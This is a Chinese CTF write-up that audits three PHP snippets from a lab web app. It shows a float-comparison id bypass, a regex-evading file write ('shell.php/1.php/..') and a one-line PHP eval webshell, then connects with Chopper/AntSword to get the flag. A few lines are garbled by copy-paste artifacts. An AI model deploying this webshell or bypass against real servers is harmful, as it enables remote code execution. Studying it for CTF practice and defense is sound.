题目描述:工控云管理系统项目管理页面解析漏洞
打开靶机
根据题目描述,点击项目管理
点击view-source可以查看源码
大概有三部分
1,
<?php
session_start();
if (!isset($_GET[page])) {
show_source(__FILE__);
die();
}
if (isset($_GET[page]) && $_GET[page] != 'index.php') {
include('flag.php');
}else {
header('Location: ?page=flag.php');
}
?>
if (isset($_GET[page]) && $_GET[page] != ‘index.php’)
page存在且page不等于index,文件包含flag.php
2,
<?php
if ($_SESSION['admin']) {
$con = $_POST['con'];
$file = $_POST['file'];
$filename = "backup/".$file;
if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
die("Bad file extension");
}else{
chdir('uploaded');
$f = fopen($filename, 'w');
fwrite($f, $con);
fclose($f);
}
}
?>
拿到admin的session值, 将 c o n 的 内 容 写 入 到 con 的内容 写入到 con的内容写入到file
正则过滤,后缀名为php3,php4,php5,php7,.t,.tml
再将路径从backup修改为uploaded,即uploaded是真实路径
3,
<?php
if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
include 'config.php';
$id = mysql_real_escape_string($_GET[id]);
$sql="select * from cetc007.user where id='$id'";
$result = mysql_query($sql);
$result = mysql_fetch_object($result);
} else {
$result = False;
die();
}
if(!$result)die("<br >something wae wrong ! <br>");
if($result){
echo "id: ".$result->id."</br>";
echo "name:".$result->user."</br>";
$_SESSION['admin'] = True;
}
?>
id 存在 ,floatval( G E T [ i d ] ) ! = = ‘ 1 ‘ 浮 点 不 为 1 , s u b s t r ( _GET[id]) !== ‘1‘ 浮点不为1 ,substr( GET[id])!==‘1‘浮点不为1,substr(_GET[id], -1) === ‘9‘ 最后一位为9
payload:?page=flag.php&id=1-9&submit
接下来,上传一句话木马
con为 文件内容 file为文件名 post上传
con=<?php @eval($_POST[cmd]) ?>&file=shell.php/1.php/…
php/1.php绕过第二段代码
查看是否上传成功
uploaded/backup
shell.php上传成功
菜刀或蚁剑连接
得到了flag
知识点:审计代码php和mysql浮点数精确度差异考察,正则绕过,一句话木马
参考文章:http://www.mamicode.com/info-detail-3043269.html
2020.8.14 公瑾